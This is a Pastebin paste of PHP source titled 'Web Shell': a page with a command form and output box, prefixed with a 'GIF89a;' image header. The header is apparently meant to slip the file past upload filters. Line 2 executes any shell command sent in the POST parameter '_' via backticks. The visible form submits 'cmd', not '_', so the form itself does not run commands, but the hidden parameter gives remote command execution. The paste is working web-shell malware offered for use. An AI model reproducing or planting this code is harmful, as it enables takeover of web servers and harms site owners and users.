Advertisement
zucxk

Web Shell

Jun 22nd, 2022
1,833
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.46 KB | None | 0 0
  1. GIF89a;<?php
  2. empty($_POST['_']) or $cmd = `$_POST[_]`;
  3. ?>
  4. <html>
  5. <head>
  6.     <meta charset="utf-8">
  7.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  8.     <meta name="viewport" content="width=device-width, initial-scale=1">
  9.     <title>Web Shell</title>
  10.     <style>
  11.         * {
  12.             -webkit-box-sizing: border-box;
  13.             box-sizing: border-box;
  14.         }
  15.  
  16.         body {
  17.             font-family: sans-serif;
  18.             color: rgba(0, 0, 0, .75);
  19.         }
  20.  
  21.         main {
  22.             margin: auto;
  23.             max-width: 850px;
  24.         }
  25.  
  26.         pre,
  27.         input,
  28.         button {
  29.             border-radius: 5px;
  30.         }
  31.  
  32.         pre,
  33.         input,
  34.         button {
  35.             background-color: #efefef;
  36.         }
  37.  
  38.         label {
  39.             display: block;
  40.         }
  41.  
  42.         input {
  43.             width: 100%;
  44.             background-color: #efefef;
  45.             border: 2px solid transparent;
  46.         }
  47.  
  48.         input:focus {
  49.             outline: none;
  50.             background: transparent;
  51.             border: 2px solid #e6e6e6;
  52.         }
  53.  
  54.         button {
  55.             border: none;
  56.             cursor: pointer;
  57.             margin-left: 5px;
  58.         }
  59.  
  60.         button:hover {
  61.             background-color: #e6e6e6;
  62.         }
  63.  
  64.         pre,
  65.         input,
  66.         button {
  67.             padding: 10px;
  68.         }
  69.  
  70.         .form-group {
  71.             display: -webkit-box;
  72.             display: -ms-flexbox;
  73.             display: flex;
  74.             padding: 15px 0;
  75.         }
  76.     </style>
  77.  
  78. </head>
  79.  
  80. <body>
  81.     <main>
  82.         <h1>Web Shell</h1>
  83.         <h2>Execute a command</h2>
  84.  
  85.         <form method="post">
  86.             <label for="cmd"><strong>Command</strong></label>
  87.             <div class="form-group">
  88.                 <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
  89.                        onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
  90.                 <button type="submit">Execute</button>
  91.             </div>
  92.         </form>
  93.  
  94.         <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
  95.             <h2>Output</h2>
  96.             <?php if (isset($cmd)): ?>
  97.                 <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
  98.             <?php else: ?>
  99.                 <pre><small>No result.</small></pre>
  100.             <?php endif; ?>
  101.         <?php endif; ?>
  102.     </main>
  103. </body>
  104. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement